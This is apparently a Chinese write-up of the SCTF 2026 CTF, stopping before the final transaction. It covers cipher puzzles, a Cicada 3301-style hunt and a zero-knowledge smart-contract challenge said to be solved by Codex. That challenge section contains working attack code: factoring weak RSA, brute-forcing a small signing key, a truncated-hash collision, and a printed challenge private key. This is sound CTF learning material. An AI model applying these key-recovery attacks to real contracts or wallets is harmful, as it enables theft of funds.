唉,很不巧比赛当天撞上了期末考,幸运的是晚上考完回来比赛还没结束,赶上了比赛的下半场。
以下 WriteUp 中的合约题和密码题均由 Codex(gpt-5.4 xhigh) 独立完成,但是其余题目为人工完成。
先放人类解出来的题吧。

Misc

Let’s dance together!

Challenge

Jumping Grooving Dancing Everybody
Rooling Moving Singing Night&Day
Let’s Fun Fun Together

来来让我们蹦蹦跳跳
天天唱歌跳舞乐逍遥
让我们一起来玩耍

Solution

Solved with @tiran and @ThTsOd

1: M00N

谷歌识图发现是 Zodiac Killer Cipher

SCTF2026-1
下图出自:https://tr.pinterest.com/pin/509891989056278424/

SCTF2026-2

解了两行就润去考试了,后半部分翻译工作由 @ThTsOd 师傅完成

A CAPITAL LETTER WITH TWO TALL PEAKS AND A VALLEY BETWEEN THEM: M

A DIGIT SHAPED LIKE A HOLLOW FULL MOON: 0

THE SAME AS THE SECOND: 0

A CAPITAL LETTER BUILT FROM TWO TALL WALLS AND A SLANTING BRIDGE: N

2: L1T@

《原神》中的 稻妻文

SCTF2026-3
SHAPE LIKE A STANDING RIGHT ANGLE: L

A NUMBER LIKE A LONELY STRAIGHT LINE: 1

SHAPE LIKE A TALL COLUMN WITH A FLAT TOP: T

A SPECIAL CHARACTER LOWERCASE A SURROUNDED BY A CIRCLE: @

3: 9X1E

小篆,使用 OCR 识别:https://www.zitiewang.com/zhuanshu/ | https://api.shufashibie.com/page/index.html

带尾巴的圆形的数字: 9

像横箸的沙漏形狀: X

像小棍子的数字: 1

两个叠起来的缺少右侧的盒子: E

4: 3VH0

この素晴らしい世界に祝福を! 中的 KonosubaCube異世界文字編輯器

我在去考试前找到了图片右下角的剪影出处是 この素晴らしい世界に祝福を!

SCTF2026-31

然后后续由 @tiran 师傅解出

SCTF2026-4

SCTF2026-32

以下为赛后我在不知道是 KonosubaCube 前提下的分析🤡(应该可以作为破译基于英文字母的未知虚构文字的一种参考思路):

首先确认出字母 a 是没有任何争议的

SCTF2026-5

然后从含有字母 a 且字母数量最少的单词入手,在这里就体现在第一行的 “A a BC” (此处使用大写字母表示未知字符,同一个单词中的相同的大写字母代表它们是相同的字符,下同) 和第二、四行一模一样的 “AB a A” 这两个只有4个字母的单词,显然第二行的那个单词由于有一个重复的字母会比较好找,就从它入手

我的解题方法是直接查词典 《牛津英汉词典》,通过约束条件查出符合要求的单词,然后从中找出看上去可能性最大的单词(当然我觉得本题也可以将每个虚构文字映射到一个字母中,然后按照古典密码的方式去解,借助 quipqiup 分析字频应该也能解出来;但是由于可以直接用自然语言将规则告诉大模型,让大模型直接编写匹配规则来查找,因此我就懒得去做虚构文字和字母的一一映射了,直接匹配之后加入一些合理猜测就能解出来个七七八八)

搜索的脚本框架如下:

python
from pathlib import Path # 匹配规则def is_match(line: str) -> bool:    pass def main() -> None:    dict_dir = Path(__file__).resolve().parent / "DICT"    seen = set()    for subdir in sorted(path for path in dict_dir.iterdir() if path.is_dir()):        for txt_file in sorted(path for path in subdir.iterdir() if path.is_file() and path.suffix.lower() == ".txt"):            with txt_file.open("r", encoding="utf-8", errors="ignore") as file:                for line in file:                    if is_match(line):                        word = line.strip()                        key = word.lower()                        if key not in seen:                            seen.add(key)                            print(word) if __name__ == "__main__":    main()

根据 “AB a A” 的约束得到匹配函数:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 4:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[2] != "a":        return False    if word_lower[0] != word_lower[3]:        return False    if word_lower[1] in {word_lower[0], word_lower[2], word_lower[3]}:        return False    return True

输出为:

python
blabdeadrearroarteatthattwat

这里面出现了一个非常常见的词 that,暂时就认为这个单词是 that(并不是其他单词不常见,而是 that 远比其他词常见)

基于这个推测我们知道了字母 th 代表的虚构文字,然后已知信息就变成了这样:

SCTF2026-6

下一步可以找第一行的 “AB t h” 和 “A a B t

先找 “AB t h”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 4:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[2] != "t":        return False    if word_lower[3] != "h":        return False    if word_lower[0] == word_lower[1]:        return False    return True

输出:

text
bathbothCathkithlathlothmothmythoathpathpithwith

接着找 “A a B t”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 4:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[1] != "a":        return False    if word_lower[3] != "t":        return False    if word_lower[0] == word_lower[2]:        return False    return True

输出:

text
baitBartbastcantCaptcartcastdaftdarteastfactfartfastgaitGATThafthalthartkartlastmaltmartmastoastpactpantpartpastraftrantraptsalttacttarttautvastwaftwaitwantwartwatt

“A a B t” 的筛选结果太多了,我们先看 “AB t h

“AB t h” 后面跟着的是不定冠词 a,这就意味着 “AB t h” 只可能是及物动词/介词/形容词/限定词/数词等,在输出结果中符合语法要求的就只有 with/loth,而 with 远比 loth 常见,这里极大概率就是 with 了,基于此继续推进:

SCTF2026-7

然后字母 o 也跟着出来了(理由是第一行末尾和第二行开头的 two,这里只可能是 two),继续推进:

SCTF2026-8

看第一行的 “i A”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 2:        return False    if not word.isalpha():        return False    return word.lower()[0] == "i"

输出:

text
idieifinIQisit

two 前面的词通常是介词/动词/少数名词/缩写/某些固定搭配中的代词或副词,因此这里有可能是 in/is/it,然而这里的 two 极大概率是数词,所以就只可能是 in 了,基于此继续推进:

SCTF2026-9

第二行的 not 也能侧面印证目前做的应该都是对的,接下来找这个 not 前面的 “A o”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 2:        return False    if not word.isalpha():        return False    return word.lower()[1] == "o"

输出:

text
COdoFOgohoKOlomonoPOsotoWO

not 前面通常会是助动词/情态动词/be 动词/不定式 to/某些固定搭配,所以这里可能的是 do/so/to/go,然而又由于它在 that 后,因此就只可能是 do/go,其中 go 只能算勉强符合要求,最佳选项只能是 do,基于此继续推进:

SCTF2026-10

下一步看第四行的 “A o

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 5:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[1] != "o":        return False    if word_lower[3] != "n" or word_lower[4] != "d":        return False    return True

输出:

text
obofohOMonoporOSOTOUoxoz

能放在不定冠词 a 前面的是介词/及物动词/少数副词、连词等,因此候选词有 of/on/or ,由于不可能是 on(因为前面解出过 nn 不长这样),所以就只能是 of/or,这里暂时猜不出来就先搁置,反正这个字母在图中就只出现了这一次

目前已经解出的字母有 adhinotw,下一步找第二行的 “i n t ABCADE”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 9:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[0] != "i" or word_lower[1] != "n" or word_lower[2] != "t":        return False    if word_lower[8] != "t":        return False    wildcard_letters = word_lower[3:8]    if word_lower[3] != word_lower[6]:        return False    if len({word_lower[3], word_lower[4], word_lower[5], word_lower[7]}) != 4:        return False    if any(ch in set("adhinotw") for ch in wildcard_letters):        return False    return True

输出:

text
interceptinterjectintersect

这三个单词都符合语法要求,那就只能从词义层面上猜了

intercept 是拦截,interject 是插话,intersect 是交叉,从语义自然度来看最自然最可能的是 intersect,基于此继续推进:

SCTF2026-11

目前已经解出的字母有 acdehinorstw,下一步找第一行的 “A i s s i n B”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 7:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[1:6] != "issin":        return False    forbidden = set("acdehinorstw")    if word_lower[0] in forbidden or word_lower[6] in forbidden:        return False    return True

输出是空的,说明这个词很可能不是原型,因此不难推测末尾应当是 ing,所以转而寻找 “A i s s”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 4:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[1:] != "iss":        return False    if word_lower[0] in set("acdehinorstw"):        return False    return True

输出:

text
kissmisspiss

kiss 放在这里很奇怪,piss 太粗俗(显然不可能是这个),所以只可能是 miss,基于此继续推进:

SCTF2026-12

目前已经解出的字母有 acdeghimnorstw,下一步找第一行和最后一行的 “s m a AA”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 5:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[:3] != "sma":        return False    if word_lower[3] != word_lower[4]:        return False    if word_lower[3] in set("acdeghimnorstw"):        return False    return True

输出结果只有 small,基于此继续推进:

SCTF2026-13

都解到这个份上了,能一眼丁真 numbers of look like round,不用找,是根据上下文感觉出来的

SCTF2026-14

目前已经解出的字母有 abcdeghiklmnorstuw,下一步找第一行的 “A a r t”:

python
def is_match(line: str) -> bool:    raw_line = line.rstrip("\r\n")    word = raw_line.strip()    if raw_line != word or not word:        return False    if len(word) != 4:        return False    if not word.isalpha():        return False    word_lower = word.lower()    if word_lower[1:] != "art":        return False    if word_lower[0] in set("abcdeghiklmnorstuw"):        return False    return True

输出:

text
fartpart

fart 是放屁,只可能是 part

至此就全部解出来了

SCTF2026-15

NUMBERS WITH A SMALL PART MISSING IN TWO RINGS: 3
TWO SLASHES THAT DO NOT INTERSECT: V
A SEGMENT OF A LADDER: H
NUMBERS THAT LOOK LIKE SMALL ROUND HOLES: 0

5: KQ6z

Star Wars 中的 Aurebesh,使用 OCR 识别:https://aurebesh.dbstory.jp/en/

SCTF2026-16

TWO DIAGONAL LINES MEETING AT A POINT: K
A CIRCLE WITH ONE VERTICAL SIDE: Q
A CIRCLE POKES OUT ITS HEAD NUMBER: 6
LOWERCASE LETTER PARALLEL LINES ARE CONNECTED BY A LINE: z
UNLESS SPECIFI CALLY MENTIONED THE DEFAULT IS UPPERCASE LETTERS

拼接得到压缩包 dancing_rabbit.zip 的解压密码 M00NL1T@9X1E3VH0KQ6z,解压缩得到 dancing_rabbit.mp4

Dancing Rabbit

后续部分赛中由 @ThTsOd 师傅完成,以下为我根据 @ThTsOd 师傅的解题思路进行的复现

首先提取视频的每一帧:

bash
ffmpeg -i dancing_rabbit.mp4  out1/frame_%04d.png

发现存在很多重复帧

然后通过计算感知哈希及其汉明距离来去重:

bash
import cv2from pathlib import Path input_dir = "out1"output_dir = "out2"threshold = 0.1 def image_hash(img):    """计算感知哈希"""    img = cv2.resize(img, (8, 8))    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)    avg = gray.mean()    hash_val = 0    for i in range(8):        for j in range(8):            if gray[i, j] > avg:                hash_val |= (1 << (i * 8 + j))    return hash_val def hamming_distance(h1, h2):    """计算汉明距离"""    return bin(h1 ^ h2).count('1') files = sorted(Path(input_dir).glob("*.png"), key=lambda x: int(x.stem.split('_')[-1])) last_hash = Nonekeep_idx = 0 for f in files:    img = cv2.imread(str(f))    if img is None:        continue    cur_hash = image_hash(img)     # 第一张或与上一张保留的差异大于阈值时保留    if last_hash is None or hamming_distance(last_hash, cur_hash) > threshold:        keep_idx += 1        cv2.imwrite(f"{output_dir}/{keep_idx:04d}.png", img)        last_hash = cur_hash

SCTF2026-17

推测是The Adventure of the Dancing Men 中的 Dancing Men Cipher,对照着下图进行解密(图片出自:Dancing Men Cipher | Boxentriq

SCTF2026-18

获取到 KEYIS3YC1WVERSYC,根据语义猜测这里拿到的 key 应当是 3YC1OVERSYC

这个 key 用于解开拼接在视频文件末尾的加密压缩包

解开压缩包即可得到 flag

FLAG

flag
SCTF{You_can_solve_this? Really? I_dont_believe}

SYC4113

Challenge

深陷兔子洞中……
那个夏天蝉声四起
你知道这一切不过都是幻梦一场,
但愿永远永远不要醒来。
Trapped deep in the rabbit hole…
That summer, the cicadas sang everywhere.
You know it’s all just a dream,
I wish I would never, ever wake up.

Solution

Solved with @tiran

本题是对 Cicada 3301 的模仿

SCTF2026-19

首先在文件尾拿到密文

text
JLHZHYZH`ZAo{{wzA66ptn5jku85}pw6p6=h9hj:>>=@==8f8>?88?>;;>5qwn

SCTF2026-20

ROT47 Brute Force - CyberChef

爆破 ROT47 得到 CEASARSAYS:https://img.cdn1.vip/i/6a2ac37769661_1781187447.jpg

得到图片:

SCTF2026-21

参考 Cicada 3301 的思路不难想到这里是 OutGutss 隐写

SCTF2026-22

得到:

text
URL:https://www.iplant.cn/foc/pdf/Fabaceae.pdfVHJpZm9saXVtIHJlcGVucw==5502:4:2:12:7:8:42:9:7:22:10:6:13:1:2:73:2:1:64:1:1:94:2:6:14:4:8:35:1:4:96:1:1:57:1:1:47:7:2:17:9:1:69:1:3:69:1:4:29:3:5:19:3:10:29:5:2:89:11:2:411:1:6:611:2:5:611:3:1:411:4:4:211:5:4:612:1:1:912:1:4:3

先下载 PDF 文档 https://www.iplant.cn/foc/pdf/Fabaceae.pdf

VHJpZm9saXVtIHJlcGVucw== 解码得到 Trifolium repens,翻到页码 550 就能看到

SCTF2026-23

取字规则由 @tiran 师傅提供

SCTF2026-24

取字规则应是:

text
第一位:行号:单词号:字符号

其中第一位的编号方式是:

text
限定在 PDF 第 550 页去掉页眉、页码、物种标题、中文名只数英文正文/分布段落跨栏续写的同一段要合并页面最上方上一物种残留内容算第 1 块

所以编号大概是:

text
上一物种残留正文/分布Trifolium repens 描述段Trifolium repens 分布段Trifolium hybridum 描述段Trifolium hybridum 分布段Trifolium aureum 异名段Trifolium aureum 描述段,跨左右栏合并Trifolium aureum 分布段Trifolium campestre 描述段Trifolium campestre 分布段Trifolium dubium 描述段Trifolium dubium 分布段

按这个规则,前三个数字照常取:第几行、第几个单词、第几个字符

验证前几组:

text
2:4:2:1 -> w2:7:8:4 -> w2:9:7:2 -> b2:10:6:1 -> r3:1:2:7 -> d

继续完整取完得到:

text
wwbrd.lanzoum.com/sycsecret

SCTF2026-25

下载这个压缩包,里面有两段音频

morse.mp3 识别结果如图:

SCTF2026-26

CONTACT US USING SYC FOLLOWED BY THE PRODUCT OF THREE PRIME NUMBERS AND A 163 EMAIL ADDRESS.

hint.wav 使用 Whisper 识别文字如图:

SCTF2026-27

Well done! Now you need to find three prime numbers, one of which is 523. Good luck!

SCTF2026-28

经过 @tiran 师傅提醒,参考 Cicada 3301 的思路可以知道另外两个质数是最开始那张图片的尺寸 631 × 661

SCTF2026-29

相乘得到 218138593

因此给邮箱 SYC218138593@163.com 发送邮件

SCTF2026-30

FLAG

flag
SCTF{A_voice_from_a_high_place_naturally_carries_far-it_is_not_relying_on_the_autumn_wind}

The Last Honest Witness

Challenge

事_故发生@后的{第七.天,委员会$公开了一^份很薄]的档\案:D

委员会Kevin说,可信的是?nc 1.95.63.227 5000

Solution

附件里最关键的是这几个文件:

  • Challenge.sol
  • Groth16Verifier.sol
  • zk/LastHonestWitness.circom
  • README.md

直接读 Challenge.sol,先把真正的过关条件捋出来。claim(...) 一共做了四件事:

  1. 检查 publicSignals[0/1/2/4] 是否等于链上保存的 modulus / merkleRoot / RECIPIENT_COMMITMENT / EXTERNAL_NULLIFIER
  2. Groth16Verifier.verifyProof(...) 验证 Groth16 proof
  3. 额外校验 pageA / pageB / pageC
  4. 三个 vault 全部 sweep

所以这个题本质上不是“找一个洞跳过验证”,而是把验证材料真的凑齐。

然后看电路 zk/LastHonestWitness.circom。这里能提炼出三条最重要的信息:

  • witness 里需要 p, q, plaintext, pathElements, pathIndices
  • 电路强制 p * q == modulus
  • recipientCommitment = Poseidon([1, plaintext])
  • identitySecret = Poseidon([2, plaintext, p, q, externalNullifier])
  • nullifierHash = Poseidon([5, identitySecret, externalNullifier])
  • 叶子是 Poseidon([3, identitySecret, recipientCommitment])
  • Merkle 内部节点是 Poseidon([4, left, right])

继续看 README.md

  • Setupslot 0..3 分别是 challenge / N / e / c
  • WitnessRoot(bytes32 indexed merkleRoot) 事件里有根
  • externalNullifier = 48879
  • recipientCommitment 已知
  • Page A/B/C 其实就是三道附加题

这一步基本已经定方向了:先从链上把真实参数抠出来,再分别解主 witness、Page A、Page B、Page C。

先起实例

平台菜单里先选 2,挑战 ID 默认就是 06_last_honest_witness,然后输入 Team Token。

当时拿到的是:

text
RPC URL        : http://1.95.63.227:5006Setup contract : 0x5FbDB2315678afecb367f032d93F642f64180aa3Player address : 0x70997970C51812dc3A010C7d01b50e0d17dc79C8Player key     : 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d

复现时这几个值会变,后面命令里的 RPC / SETUP / PK 要用实际的实例替换。

先从链上取真实参数

先取 challenge 地址:

bash
cast call "$SETUP" "challenge()(address)" --rpc-url "$RPC"

然后按题目提示直接读 Setup 的 storage:

bash
cast storage "$SETUP" 0 --rpc-url "$RPC"cast storage "$SETUP" 1 --rpc-url "$RPC"cast storage "$SETUP" 2 --rpc-url "$RPC"cast storage "$SETUP" 3 --rpc-url "$RPC"

我拿到的是:

text
slot 0 = 0x000000000000000000000000b7a5bd0345ef1cc5e66bf61bdec17d2461fbd968slot 1 = 0x000000000000000000000000000000000076870a0dfd2fa954279797d51d6465slot 2 = 0x0000000000000000000000000000000000000000000000000000000000010001slot 3 = 0x000000000000000000000000000000000048293d55636f66e966dcca4be7339c

也就是:

text
challenge = 0xB7A5bd0345EF1Cc5E66bf61BdeC17D2461fBd968N = 615429951214616213145619887722161253e = 65537c = 374681811952606249888216577959474076

接着取部署时打出来的 root。这里直接查 Setup 的所有 logs 就行:

bash
cast logs --rpc-url "$RPC" --from-block 0 --json

唯一一条日志长这样:

json
[  {    "address":"0x5FbDB2315678afecb367f032d93F642f64180aa3",    "topics":[      "0x7d9558755fbfd8756a0f8a071eacea342ff922791f8ba4577189c12f93d17a1b",      "0x11186d63282202899b6e66817c7fda3dd55fdd3d6b3d4feeaec62ba00ed70a94"    ]  }]

第二个 topic 就是 indexed 的 merkleRoot,所以:

text
merkleRoot = 0x11186d63282202899b6e66817c7fda3dd55fdd3d6b3d4feeaec62ba00ed70a94

到这里主 proof 的公开输入已经知道四个了:

  • modulus
  • merkleRoot
  • recipientCommitment(题目给)
  • externalNullifier = 48879

剩下还差:

  • plaintext
  • p, q
  • nullifierHash
  • Merkle path

主 witness:先分解实例 RSA

看到 N 之后第一反应就是位数太小了。直接算一下只有 119 bit,已经很不对劲了。

而且题目 Marginalia 里有一句 The two guardians of the modulus were born almost at the same time.,这句话基本就是在暗示两个因子很接近,直接上 Fermat。

附上脚本:

python
from math import isqrt N = 615429951214616213145619887722161253 def fermat_factor(n):    a = isqrt(n)    if a * a < n:        a += 1    while True:        b2 = a * a - n        b = isqrt(b2)        if b * b == b2:            return a - b, a + b        a += 1 p, q = fermat_factor(N)print(p)print(q)

输出是:

text
784493436055779473784493436055795861

两个因子确实都小于电路要求的 2^60

继续用私钥指数解密:

python
N = 615429951214616213145619887722161253e = 65537c = 374681811952606249888216577959474076p = 784493436055779473q = 784493436055795861 phi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, N) print(m)print(hex(m))print(m.to_bytes((m.bit_length() + 7) // 8, "big"))

输出:

text
4744019373794127460048450x6475616c2d636c61696db'dual-claim'

主明文就是 dual-claim

主 witness:自己复原 Poseidon commitment 和 Merkle path

这时已经知道:

  • p
  • q
  • plaintext = dual-claim
  • externalNullifier = 48879

接下来需要完全按电路的 Poseidon 逻辑把叶子和 Merkle path 算出来。

先安装 Node 依赖:

bash
npm install

然后写一个 build_input.js

javascript
const fs = require("fs");const circomlibjs = require("circomlibjs"); const EXTERNAL_NULLIFIER = 48879n;const LEAF_COUNT = 32; function toDec(x) {  return x.toString(10);} async function main() {  const p = 784493436055779473n;  const q = 784493436055795861n;  const plaintext = 474401937379412746004845n;   const poseidon = await circomlibjs.buildPoseidon();  const F = poseidon.F;  const H = (arr) => BigInt(F.toString(poseidon(arr)));   const commitment = H([1n, plaintext]);  const identitySecret = H([2n, plaintext, p, q, EXTERNAL_NULLIFIER]);  const nullifierHash = H([5n, identitySecret, EXTERNAL_NULLIFIER]);  const activeLeaf = H([3n, identitySecret, commitment]);  const emptyLeaf = (i) => H([6n, BigInt(i), EXTERNAL_NULLIFIER]);  const node = (l, r) => H([4n, l, r]);   const activeIndex = Number((plaintext + p + q) % BigInt(LEAF_COUNT));   const leaves = Array.from({ length: LEAF_COUNT }, (_, i) => emptyLeaf(i));  leaves[activeIndex] = activeLeaf;   const pathElements = [];  const pathIndices = [];   let pos = activeIndex;  let level = leaves;  while (level.length > 1) {    const sib = pos ^ 1;    pathElements.push(level[sib]);    pathIndices.push(pos & 1);     const next = [];    for (let i = 0; i < level.length; i += 2) {      next.push(node(level[i], level[i + 1]));    }    level = next;    pos = Math.floor(pos / 2);  }   const input = {    p: toDec(p),    q: toDec(q),    plaintext: toDec(plaintext),    pathElements: pathElements.map(toDec),    pathIndices: pathIndices.map(String),    modulus: toDec(p * q),    merkleRoot: toDec(level[0]),    recipientCommitment: toDec(commitment),    nullifierHash: toDec(nullifierHash),    externalNullifier: toDec(EXTERNAL_NULLIFIER),  };   console.log("activeIndex =", activeIndex);  console.log("commitment =", input.recipientCommitment);  console.log("nullifierHash =", input.nullifierHash);  console.log("merkleRoot =", input.merkleRoot);  console.log("pathElements =", input.pathElements);  console.log("pathIndices =", input.pathIndices);   fs.writeFileSync("input.json", JSON.stringify(input, null, 2));} main().catch((err) => {  console.error(err);  process.exit(1);});

运行 node build_input.js 得到输出:

text
activeIndex = 19commitment = 9377985761090098792458769157668700179213141594497154267610801610404565099971nullifierHash = 8001422557285569920145416452913385853486935919178479204688850774075157728239merkleRoot = 7732477719083212578752387109071435927399654988182031884976220637137317857940pathElements = [  "874675326382774462054630929016717981861462723595828740292177025972775927434",  "19943173586091128697334008428163649708845449978603366252200849417666253314432",  "16689636870606738318060891275272923924592354516689187994655446288729329006723",  "21083317342806533467828828775639565042262296421050300171881756044840448656563",  "17692553387200295000386717926929881080497211676075635199960301299611063362988"]pathIndices = [ "1", "1", "0", "0", "1" ]

这里最关键的是两点:

  • recipientCommitment 正好等于题目给定常量
  • merkleRoot 正好等于链上日志里的 root

这说明主 witness 已经全部对上了。

生成 Groth16 proof

有了 input.json 后,直接用题目给的 wasm 和 zkey 生成 proof:

bash
npx snarkjs groth16 fullprove input.json zk/LastHonestWitness.wasm zk/LastHonestWitness_final.zkey proof.json public.jsonnpx snarkjs zkey export soliditycalldata public.json proof.json

我这边导出的 calldata 是:

text
["0x225b331657d324c8103bd6e064faea551dff579d59d8d74d5e8822f3a74d9425", "0x25cf2b5be2bb11a1bad7175e6c11e32baba439234a397364e714ca9ccbde9fb2"],[["0x0e189938c1eec38a2c3bb4be1ba5f3e05f0acf883236a9e73cd2d054489e0f1b", "0x0d17b9880695d3cfa61f1ab5cc3f1e82999615acd0186f75d753ed3adefc8d09"],["0x1ae88249a37ab0084da9e152bec5ac20cda1b0e721621c91b0a5e305edad1da3", "0x0207c5264808fadffc1ee47c868916f4c32659d40154fd1e967b0ca934dccbb4"]],["0x2ff044c69c3363a9242e814afd6ddcfeec13b63c79f4b5d390d13ec172b97aa4", "0x296ba1f75f39921fe884737df6f71aa580b07f24cad712accb3c9612ba1b238c"],["0x000000000000000000000000000000000076870a0dfd2fa954279797d51d6465","0x11186d63282202899b6e66817c7fda3dd55fdd3d6b3d4feeaec62ba00ed70a94","0x14bbc078a933a929a55168a51767c518bf165252d3532a97791ba8ea438425c3","0x11b0a509a327decb662d61f27f31e07f64a8eb7ee5a7955010b9f04e19234bef","0x000000000000000000000000000000000000000000000000000000000000beef"]

第一次我把 proof.json 里的 pi_b 原样塞进 claim,结果链上直接 InvalidProof。后来回头看,真正该用的是 soliditycalldata 导出的那组顺序,也就是上面这份。

Page A:related-message RSA 直接联立

再看 Challenge.sol 里的 Page A:

solidity
function _verifyPageA(uint256 plaintext_) internal pure {    if (        plaintext_ >= PAGE_A_N || _powSmall(plaintext_, PAGE_A_E, PAGE_A_N) != PAGE_A_C1            || _powSmall(plaintext_ + PAGE_A_DELTA, PAGE_A_E, PAGE_A_N) != PAGE_A_C2    ) {        revert InvalidPageA();    }}

公开常量是:

text
e = 3delta = 1337c1 = m^3 mod nc2 = (m + 1337)^3 mod n

这个不需要分解 n。直接展开:

text
(m + d)^3 - m^3 = 3dm^2 + 3d^2m + d^3

因为:

text
c2 - c1 ≡ 3dm^2 + 3d^2m + d^3 (mod n)

所以得到一个关于 m 的二次式:

text
3dm^2 + 3d^2m + d^3 - (c2 - c1) ≡ 0 (mod n)

再结合 m^3 ≡ c1 (mod n),可以把它消元成一个一次式,最后直接解出 m。附上脚本:

python
import math N = 760009694642386684565581461392043895505912502559714131532944907541093903D = 1337C1 = 453597385863057272648915757216738828698620960961179478921819470254014847C2 = 453597385865721903738147200739079200525533155295038017694987515419712854 a = 3 * Db = 3 * D * Dc = D ** 3 - (C2 - C1) num = (b * c - (a * a % N) * C1) % Nden = (a * c - b * b) % N assert math.gcd(den, N) == 1 m = (num * pow(den, -1, N)) % Nprint(m)print(pow(m, 3, N) == C1)print(pow(m + D, 3, N) == C2)print(m.to_bytes((m.bit_length() + 7) // 8, "big"))

输出:

text
25774616630246150697727911729TrueTrueb'SHC_FR_frag1'

所以 pageAPlaintext 就是:

text
25774616630246150697727911729

也就是字符串 SHC_FR_frag1

Page B:secp256k1 小私钥暴力

Page B 的校验更直接:

solidity
function _verifyPageB(uint8 v, bytes32 r, bytes32 s) internal pure {    if (v != 27 && v != 28) {        revert InvalidPageB();    }    address signer = ecrecover(PAGE_B_MESSAGE_HASH, v, r, s);    if (signer != PAGE_B_SIGNER) {        revert InvalidPageB();    }}

题目给了一组公钥坐标,还提示:

text
x < 2^20

这里的 x 不是公钥横坐标,而是私钥太小。因为链上验证只关心签名人地址,所以只要先从小私钥暴力出公钥,再拿私钥对固定哈希签名就行。

先写个最朴素的 secp256k1 累加脚本:

python
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2FGX = 55066263022277343669578718895168534326250603453777594175500187360389116729240GY = 32670510020758816978083085130507043184471273380659243275938904335757337482424 TARGET_X = 58815339488302044413775644787852249409224615099495920880759980194063649848583TARGET_Y = 98550888334717328604002147137887649681647570376424892468560957640988111280493 def inv(a):    return pow(a, -1, P) def add(P1, P2):    if P1 is None:        return P2    if P2 is None:        return P1     x1, y1 = P1    x2, y2 = P2     if x1 == x2 and (y1 + y2) % P == 0:        return None     if P1 == P2:        lam = (3 * x1 * x1) * inv(2 * y1) % P    else:        lam = (y2 - y1) * inv((x2 - x1) % P) % P     x3 = (lam * lam - x1 - x2) % P    y3 = (lam * (x1 - x3) - y1) % P    return (x3, y3) G = (GX, GY)pt = None for k in range(1, 1 << 20):    pt = add(pt, G)    if pt == (TARGET_X, TARGET_Y):        print(k)        break

输出:

text
789123

私钥就是 789123

然后直接用 cast wallet sign --no-hash 对题目给定的 PAGE_B_MESSAGE_HASH 做裸哈希签名:

bash
cast wallet sign \  --private-key 0x00000000000000000000000000000000000000000000000000000000000c0a83 \  --no-hash \  0x99e1c9445f2a4aaed1cb39c5f061cff3410bf6faa5828abcafe330974301c838

输出是:

text
0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a1c

拆一下:

  • r = 0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402
  • s = 0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a
  • v = 28

Page C:只看低 40 位,直接生日碰撞

Page C 的校验是:

solidity
function _verifyPageC(uint256 a, uint256 b) internal pure {    if (a == b || a >= PAGE_C_INPUT_BOUND || b >= PAGE_C_INPUT_BOUND) {        revert InvalidPageC();    }    if (_pageCDigest(a) != _pageCDigest(b)) {        revert InvalidPageC();    }}

_pageCDigest 是:

solidity
function _pageCDigest(uint256 value) internal pure returns (uint256) {    return uint256(keccak256(abi.encodePacked(PAGE_C_TAG, value))) & PAGE_C_MASK;}

其中:

  • value < 2^32
  • 只取 keccak256 的低 40 位

这已经不是抗碰撞问题了,就是一个标准生日碰撞。大概跑到一两百万就够。

附上脚本:

python
from Crypto.Hash import keccak TAG = keccak.new(digest_bits=256, data=b"LAST_HONEST_WITNESS_PAGE_C").digest()MASK = (1 << 40) - 1 seen = {} for a in range(1 << 32):    k = keccak.new(digest_bits=256)    k.update(TAG)    k.update(a.to_bytes(32, "big"))    d = int.from_bytes(k.digest(), "big") & MASK     if d in seen and seen[d] != a:        print(seen[d], a, d)        break     seen[d] = a

很快就撞到了:

text
1656330 2582757 463230816445

所以:

  • pageCLeft = 1656330
  • pageCRight = 2582757

最后上链调用 claim

到这里参数全部齐了:

  • proofA / proofB / proofC / publicSignalssnarkjs zkey export soliditycalldata 导出的那组
  • pageAPlaintext = 25774616630246150697727911729
  • pageBv = 28
  • pageBr = 0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402
  • pageBs = 0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a
  • pageCLeft = 1656330
  • pageCRight = 2582757

直接发交易:

bash
